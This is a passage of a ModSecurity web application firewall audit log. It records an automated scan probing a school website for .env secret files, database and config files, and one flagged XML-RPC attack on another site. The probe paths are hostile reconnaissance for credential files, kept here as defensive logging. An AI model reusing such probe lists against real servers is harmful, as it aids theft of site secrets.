Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/vtund.conf"] [unique_id "aE8pSGBSQiWwwCa-v2T-MwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018376744987 729078 (- - -) Stopwatch2: 1750018376744987 729078; combined=1652, p1=343, p2=1201, p3=0, p4=0, p5=107, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70d5bd4c-Z-- --8cde0f2a-A-- [16/Jun/2025:01:43:00.553348 +0530] aE8pSwmPiipnjM18nBTzHgAAAAs 185.177.72.210 52292 127.0.0.1 7081 --8cde0f2a-B-- GET /:5000/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8cde0f2a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81d6a6f78392bf47da2df6f217325e2c1750018380; expires=Sun, 15 Jun 2025 21:13:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8cde0f2a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/app/.env"] [unique_id "aE8pSwmPiipnjM18nBTzHgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018379881195 672236 (- - -) Stopwatch2: 1750018379881195 672236; combined=1858, p1=374, p2=1385, p3=0, p4=0, p5=98, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8cde0f2a-Z-- --68a4af70-A-- [16/Jun/2025:01:43:16.042088 +0530] aE8pWz6fDirgE_qJvgHO5QAAAAA 185.177.72.210 47860 127.0.0.1 7081 --68a4af70-B-- GET /:8000/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68a4af70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba2a743868d5d541cf64b08fa8ebcff61750018395; expires=Sun, 15 Jun 2025 21:13:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68a4af70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/sites/all/libraries/courrierchimp/.env"] [unique_id "aE8pWz6fDirgE_qJvgHO5QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018395388623 653528 (- - -) Stopwatch2: 1750018395388623 653528; combined=2134, p1=446, p2=1587, p3=0, p4=0, p5=100, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68a4af70-Z-- --edd93c57-A-- [16/Jun/2025:01:43:21.183656 +0530] aE8pYF4QpUmzcAFMV3bUZQAAAAI 185.177.72.210 43836 127.0.0.1 7081 --edd93c57-B-- GET /clients.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --edd93c57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f172654b6aa811a5268aa8dbf2da37b1750018401; expires=Sun, 15 Jun 2025 21:13:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --edd93c57-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/clients.mdb"] [unique_id "aE8pYF4QpUmzcAFMV3bUZQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018400532137 651579 (- - -) Stopwatch2: 1750018400532137 651579; combined=1815, p1=313, p2=1420, p3=0, p4=0, p5=82, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --edd93c57-Z-- --c38df404-A-- [16/Jun/2025:01:43:34.011623 +0530] aE8pbV4QpUmzcAFMV3bUawAAAAI 185.177.72.210 32948 127.0.0.1 7081 --c38df404-B-- GET /:8008/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c38df404-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bc2401db436e16da7bd2751046b396b11750018413; expires=Sun, 15 Jun 2025 21:13:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c38df404-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/tmp/.env"] [unique_id "aE8pbV4QpUmzcAFMV3bUawAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018413341397 670302 (- - -) Stopwatch2: 1750018413341397 670302; combined=1944, p1=380, p2=1463, p3=0, p4=0, p5=101, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c38df404-Z-- --aff1fb64-A-- [16/Jun/2025:01:43:39.206930 +0530] aE8pcj3D4g1mGjVnV5KL6QAAAAY 185.177.72.210 33154 127.0.0.1 7081 --aff1fb64-B-- GET /:8443/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aff1fb64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6573790c5c94ae5cbf89a0ebaac18b91750018419; expires=Sun, 15 Jun 2025 21:13:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aff1fb64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/local/.env"] [unique_id "aE8pcj3D4g1mGjVnV5KL6QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018418519766 687226 (- - -) Stopwatch2: 1750018418519766 687226; combined=1842, p1=363, p2=1363, p3=0, p4=0, p5=115, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aff1fb64-Z-- --867d542c-A-- [16/Jun/2025:01:43:39.572872 +0530] aE8pcgmPiipnjM18nBTzMQAAAAs 128.199.112.101 33170 127.0.0.1 7081 --867d542c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --867d542c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --867d542c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8pcgmPiipnjM18nBTzMQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018418627383 945569 (- - -) Stopwatch2: 1750018418627383 945569; combined=2377, p1=364, p2=1559, p3=53, p4=75, p5=216, sr=94, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --867d542c-Z-- --76283b06-A-- [16/Jun/2025:01:43:42.209963 +0530] aE8pdYfvqn7_SDWw_wX7SgAAAAc 185.177.72.210 36308 127.0.0.1 7081 --76283b06-B-- GET /mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76283b06-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c38e66121aa0308092c63987440fa1661750018422; expires=Sun, 15 Jun 2025 21:13:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76283b06-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mail/.env"] [unique_id "aE8pdYfvqn7_SDWw_wX7SgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018421524135 685893 (- - -) Stopwatch2: 1750018421524135 685893; combined=2005, p1=424, p2=1473, p3=0, p4=0, p5=108, sr=128, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76283b06-Z-- --e8a36c6c-A-- [16/Jun/2025:01:43:51.381091 +0530] aE8pfl4QpUmzcAFMV3bUdAAAAAI 185.177.72.210 34788 127.0.0.1 7081 --e8a36c6c-B-- GET /:9000/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8a36c6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=26a71e2c7ab95c77e4762c9d251919901750018431; expires=Sun, 15 Jun 2025 21:13:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8a36c6c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.local"] [unique_id "aE8pfl4QpUmzcAFMV3bUdAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018430696375 684779 (- - -) Stopwatch2: 1750018430696375 684779; combined=2075, p1=446, p2=1540, p3=0, p4=0, p5=88, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8a36c6c-Z-- --aec32166-A-- [16/Jun/2025:01:43:52.391202 +0530] aE8pfzZWrQ9Ly--lMo_-IwAAAAE 185.177.72.210 34822 127.0.0.1 7081 --aec32166-B-- GET /:8443/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aec32166-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dfe040e0a74a41e4c095a431bac9e91c1750018432; expires=Sun, 15 Jun 2025 21:13:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aec32166-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.test"] [unique_id "aE8pfzZWrQ9Ly--lMo_-IwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018431726701 664564 (- - -) Stopwatch2: 1750018431726701 664564; combined=1912, p1=361, p2=1454, p3=0, p4=0, p5=96, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aec32166-Z-- --b2c6fb7e-A-- [16/Jun/2025:01:43:54.396393 +0530] aE8pgTZWrQ9Ly--lMo_-JAAAAAE 185.177.72.210 34890 127.0.0.1 7081 --b2c6fb7e-B-- GET /:8000/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b2c6fb7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=df9c9cd3b68d256d951bdecb86e8f1db1750018434; expires=Sun, 15 Jun 2025 21:13:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b2c6fb7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/mail/.env"] [unique_id "aE8pgTZWrQ9Ly--lMo_-JAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018433722319 674158 (- - -) Stopwatch2: 1750018433722319 674158; combined=1668, p1=348, p2=1204, p3=0, p4=0, p5=116, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2c6fb7e-Z-- --e621aa0d-A-- [16/Jun/2025:01:43:59.423653 +0530] aE8phj3D4g1mGjVnV5KL9AAAAAY 185.177.72.210 35214 127.0.0.1 7081 --e621aa0d-B-- GET /redmine/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e621aa0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d0279936f06aebf63907bab594da49f01750018439; expires=Sun, 15 Jun 2025 21:13:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e621aa0d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/redmine/.env"] [unique_id "aE8phj3D4g1mGjVnV5KL9AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018438752646 671073 (- - -) Stopwatch2: 1750018438752646 671073; combined=1617, p1=375, p2=1129, p3=0, p4=0, p5=112, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e621aa0d-Z-- --a336c348-A-- [16/Jun/2025:01:44:03.522575 +0530] aE8pinsalJN_0-_70dL1SAAAAAU 185.177.72.210 44876 127.0.0.1 7081 --a336c348-B-- GET /boxes/oracle-vagrant-boxes/Kubernetes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a336c348-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=15a9a6d305bbc45226db204f787c26c31750018443; expires=Sun, 15 Jun 2025 21:14:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a336c348-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/boxes/oracle-vagrant-boxes/Kubernetes/.env"] [unique_id "aE8pinsalJN_0-_70dL1SAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018442859145 663502 (- - -) Stopwatch2: 1750018442859145 663502; combined=1147, p1=268, p2=791, p3=0, p4=0, p5=87, sr=69, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a336c348-Z-- --e1ead745-A-- [16/Jun/2025:01:44:09.398168 +0530] aE8pkHsalJN_0-_70dL1SwAAAAU 185.177.72.210 45106 127.0.0.1 7081 --e1ead745-B-- GET /:8080/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1ead745-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=24ff08cd6777e908fdca6b87d65608c91750018449; expires=Sun, 15 Jun 2025 21:14:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1ead745-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/journal/.env"] [unique_id "aE8pkHsalJN_0-_70dL1SwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018448703194 695040 (- - -) Stopwatch2: 1750018448703194 695040; combined=2290, p1=520, p2=1631, p3=0, p4=0, p5=138, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1ead745-Z-- --61daab20-A-- [16/Jun/2025:01:44:19.997154 +0530] aE8pmwmPiipnjM18nBTzRgAAAAs 185.177.72.210 50094 127.0.0.1 7081 --61daab20-B-- GET /backups.inc HTTP/1.0 Host: 